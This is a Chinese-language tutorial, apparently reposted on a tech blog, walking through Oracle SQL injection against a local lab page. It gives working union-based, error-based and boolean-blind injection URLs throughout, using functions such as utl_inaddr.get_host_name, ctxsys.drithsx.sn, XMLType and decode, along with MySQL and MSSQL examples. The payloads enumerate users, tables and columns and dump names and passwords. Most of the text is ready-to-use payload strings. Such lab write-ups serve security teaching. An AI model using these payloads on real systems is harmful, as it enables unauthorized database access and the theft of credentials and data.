首页前端开发HTMLOracle注入(中)

Oracle注入(中)

时间2023-07-09 07:28:02发布访客分类HTML浏览1477
导读:联合注入步骤Step 1:判断列数http://192.168.1.6:81/orcl.php?id=1 order by 4--Step 2:联合注入http://192.168.1.6:81/orcl.php?id=-1 union s...

联合注入步骤


Step 1:判断列数


http://192.168.1.6:81/orcl.php?id=1 order by 4--


Step 2:联合注入


http://192.168.1.6:81/orcl.php?id=-1 union select null,null,null,null from dual--



Step 3:判断每个字段的数据类型


http://192.168.1.6:81/orcl.php?id=-1 union select 1,2,null,null from dual--
http://192.168.1.6:81/orcl.php?id=-1 union select 1,’2’,null,null from dual--


Step 4:判断当前数据库的用户


http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select SYS_CONTEXT('USERENV','CURRENT_USER')  from dual),null,null from dual--



Step 5:获取当前数据库的版本


http://192.168.1.6:81/orcl.php?id=-3 union select null,(select banner from sys.v_$version where
rownum=1),null,null from dual



Step 6:爆破数据库名


http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select owner from all_tables where rownum=1),null,null from dual--



http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select owner from all_tables where rownum=1 and owner >
    'SYS'),null,null from dual--



http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select owner from all_tables where rownum=1 and owner >
    'SYS' and owner >
    'OUTLN'),null,null from dual--



后续可以不断的去爆破,注意:表一定要大写


当前用户的表的获取


select table_name from user_tables where rownum=1


http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select table_name from user_tables where rownum=1),null,null from dual--



Step 7: 获取数据表DEMO,然后接着获取字段名


select column_name from user_tab_columns where table_name='ADMIN' and rownum=1


http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null,null from dual--



第二列:


http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1 and column_name>
    'ID' ),null,null from dual--


第三列:


http://192.168.1.6:81/orcl.php?id=-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1 and column_name>
    'ID' and column_name>
    'NAME' ),null,null from dual--



~~~~~~~

最终获取的字段有:ID、NAME、AGE、SEX


Step 8 : 爆数据


http://192.168.1.6:81/orcl.php?id=-1 union select null, (select CONCAT(NAME, AGE) FROM DEMO where rownum=1 ),null,null from dual--



测试其他数据库:


http://192.168.1.6:81/orcl.php?id=-1 union select null, (SELECT CONCAT("name","password") FROM STU where rownum=1 ),null,null from dual--



五、报错注入实践


数据库类型

报错方式

例子

MSYQL

报错函数,如extractvalue、updatexml、floor等

http://192.168.2.101/sqli-labs-master/Less-5/?id=2' and extractvalue(1,concat(0x7e,(database()),0x7e))%23+

MSSQL

使用比较运算符,如[执行语句]> 1、[报错语句]=1等

http://192.168.23.132/less-1.asp?id=1' and (select @@version)=1--

ORACLE

同上,但是需要借助于一个可以报错的函数,如utl_inaddr.get_host_name、ctxsys.drithsx.sn、XMLType等[4]

http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--


报错注入步骤


Step 1:判断注入点


http://192.168.1.6:81/orcl.php?id=1 and (select count (*) from user_tables)>
    0 --



或者http://192.168.1.6:81/orcl.php?id=1 and (select count (*) from dual)> 0


Step 2:显错函数


utl_inaddr.get_host_name( )//获取ip 地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。


http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--



ctxsys.drithsx.sn():


http://192.168.1.6:81/orcl.php?id=1 and  1=ctxsys.drithsx.sn(1,(select user from dual))


该函数在查询关于主题的对应关键词时,会报错显示出第二个参数的结果


XMLType():


http://192.168.1.6:81/orcl.php?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --



其他函数有:


dbms_xdb_version.checkin()
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
bms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
decode()
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --


注意:不会显示报错信息,需要通过页面来判断。当substr(user,1,1)=‘S’页面报错,其他情况页面无报错也不会显示数据。类似盲注。


decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值),


SELECT ID,NAME,AGE,decode(SEX,1,'男',0,'女') from DEMO;
    



http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --
http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'B',(1/0),0) from dual) --


上述测试结果为页面正常,不显示任何数据


http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'T',(1/0),0) from dual) --


显示如下的结果,说明当前用户的首字母是T,代码decode(substr(user,1,1),'T',(1/0),0)中


substr(user,1,1)='T'时,就返回(1/0)的值,但是0不能为分母,所以报错!



Step 2:爆数据库名


爆当前用户可以访问的表


select (select distinct owner from all_tables where rownum=1) from dual


其中distinct 是去重的意思,另外有几个表需要大家熟悉一下。user_tab_columns是保存了当前用户的表、视图等;all_tab_columns可以帮助我们查询用户下的所有的表和列;all_tables显示与当前用户可访问的表;user_tables显示当前用户拥有的表



http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--


可以爆出用户可以访问的数据表,SYS是第一个,后续的表可以一一爆出来。



爆当前用户下的表


select table_name from user_tables where rownum=1


http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --


用户下的第一个表是DEMO



http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name >
    'DEMO')) --


用户下的第二表是FLAG



接着第三个表示STU


注意:table_name > 'DEMO' 可以替换为table_name not in (‘DEMO’)


Step 3:爆指定表下列名


现在作者想爆FLAG表下的列


select column_name from user_tab_columns where table_name='DEMO' and rownum=1


http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1)) --


爆出FLAG表下第一个字段:id



http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name >
    'id')) --


第二个字段是name


第三个字段是pwd


最后的字段是flag


http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name','pwd','flag') )) --



Step 4:爆字段内容


http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select (SELECT CONCAT("name","pwd") FROM FLAG where rownum=1) from dual)) --



上图中是用户的账号和密码。可以使用其他的报错函数来测试。


六、布尔盲注实践


在Oracle布尔盲注实验中,可以是普通猜解的方法也可以使用某些函数来辅助猜解,如前面提到的decode函数,以及instr函数等。接下来我们测试普通猜解方法、decode方法和instr方法


普通猜解方法


Step 1:获取当前用户下的数据表长度以及每个字符


SELECT LENGTH(table_name) from user_tables where rownum=1


http://192.168.1.6:81/orcl.php?id=1 and 4=(SELECT LENGTH(table_name) from user_tables where rownum=1)--


页面正常显示,判断当前的用户下表长度为4



猜测数据库表的每个字符,使用字符截取函数substr和ascii函数


http://192.168.1.6:81/orcl.php?id=1 and 68=((select ascii(substr(table_name,1,1)) from user_tables WHERE rownum=1))--



只有页面正常显示才能推出每个字符的ASCII。当前数据表的首字母的ASCII是68,也即D,依次爆出的字母是E、M、O。所以数据表名为DEMO


Step 2:猜解DEMO表下的字段


先猜解该表第一个字段的长度


select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1


http://192.168.1.6:81/orcl.php?id=1 and 2=((select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1))--


调整绿色背景的数字,为2时页面显示正常,说明DEMO表的一个字段长度为2



接着猜解这个2字符


select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1


http://192.168.1.6:81/orcl.php?id=1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1))--


只有页面显示正常,则说明第一个字符是I。这个过程也可以使用BusrpSuite去爆破


http://192.168.1.6:81/orcl.php?id=1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1))--


浅紫色背景需要替换,前者范围[48,150],后者范围[1,2]。如下图所示,第一个字段是ID



http://192.168.1.6:81/orcl.php?id=1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1 and column_name >
    ’ID’ ))--



同理可以获取第二个字段的长度是4,对应的ASCII是78、65、77、69,也即NAME。剩下的步骤就不在赘叙了,可以参考前面的步骤。


Step 3:上一步可以获取的字段有NAME和PWD,接下来获取字段内容


http://192.168.1.6:81/orcl.php?id=1 and 102=((select length(CONCAT(NAME, AGE)) FROM DEMO where rownum=1 ))--



说明当前NAME和AGE内容长度是102,注意创建的数据表有问题,实际上长度是11。读者可以忽略此问题。



http://192.168.1.6:81/orcl.php?id=1 and 122=((select ASCII(substr(CONCAT(NAME, AGE),1,1))FROM DEMO  where rownum=1 ))--


获取的(NAMEAGR)的第一个字符是z,依次获得hangshan20,也即名字是zhangshan,年龄是20



DECODE函数方式


Decode的使用方法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值)

意思是:当条件等于值1时就得到返回值1~~~~


Step 1:获取信息


当前用户名


判断长度:select decode(length(user),4,1,0) from dual


http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(length(user),4,1,0) from dual)--


页面显示正常,说明用户长度是4



获取每个字符:select decode(substr(user,1,1),'S',1,0) from dual


http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(substr(user,1,1),'T',1,0) from dual)--


页面正常显示,



接下来使用BP爆破获取用户名:


http://192.168.1.6:81/orcl.php?id=1 and 1=(select decode(substr(user,1,1),'T',1,0) from dual)--


黄色背景的地方需要替换。结果为TEST



Step 2:获取当前用户下的第一个表


长度判断:select decode(length(table_name),4,1,0) from user_tables where rownum=1


http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(length(table_name),4,1,0) from user_tables where rownum=1)--


页面实现正常,说明表名长度是4



字符猜解:select decode(ascii(substr(table_name,1,1)),117,1,0) from user_tables where rownum=1


http://192.168.1.6:81/orcl.php?id=1 and  1=(select decode(ascii(substr(table_name,1,1)),117,1,0) from user_tables where rownum=1)--


使用BP爆破,结果是DEMO



后面需要爆破DEMO表下字段以及字段对应内容,步骤和前面的很相似。


INSTR函数方法


函数instr的使用方法:instr(string1,string2),在string1中找到string2所在的位置,找到返回其索引。


SELECT INSTR('substr', 'str') from dual;



select instr((select user from dual),'TEST') from dual; --返回值是1 说明用户中有TEST字符串


select instr((select length(user) from dual),4) from dual; -- 返回值是1 说明用户的长度是4


select instr((select length(table_name) from user_tables where rownum=1),4) from dual; --返回值是1 说明当前用户的第一个表的名称长度是4


该如何判断名称每个字符呢?


select instr(substr((select table_name from user_tables where rownum=1),1,1),'D') from dual; --返回值是1 书名表名的第一个字符是D,后续可以通过BP去爆破。


http://192.168.1.6:81/orcl.php?id=1 and 1=(select instr(substr((select table_name from user_tables where rownum=1),1,1),'D') from dual)-- 蓝色背景部分需要替换



用户下第一个表是DEMO


http://192.168.1.6:81/orcl.php?id=1 and  1=(select instr(substr((select table_name from user_tables where rownum=1 and table_name >
    'DEMO'),1,1),'F') from dual)--


用户下的第二个表的首个字符是F,后续步骤依然可以使用BP爆破。

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: Oracle注入(中)
本文地址: https://pptw.com/jishu/297705.html
反弹shell的学习总结 - Part 2(下) mysql唯一键for update死锁 如何避免数据库死锁?运营新人必须掌握的高效方法

游客 回复需填写必要信息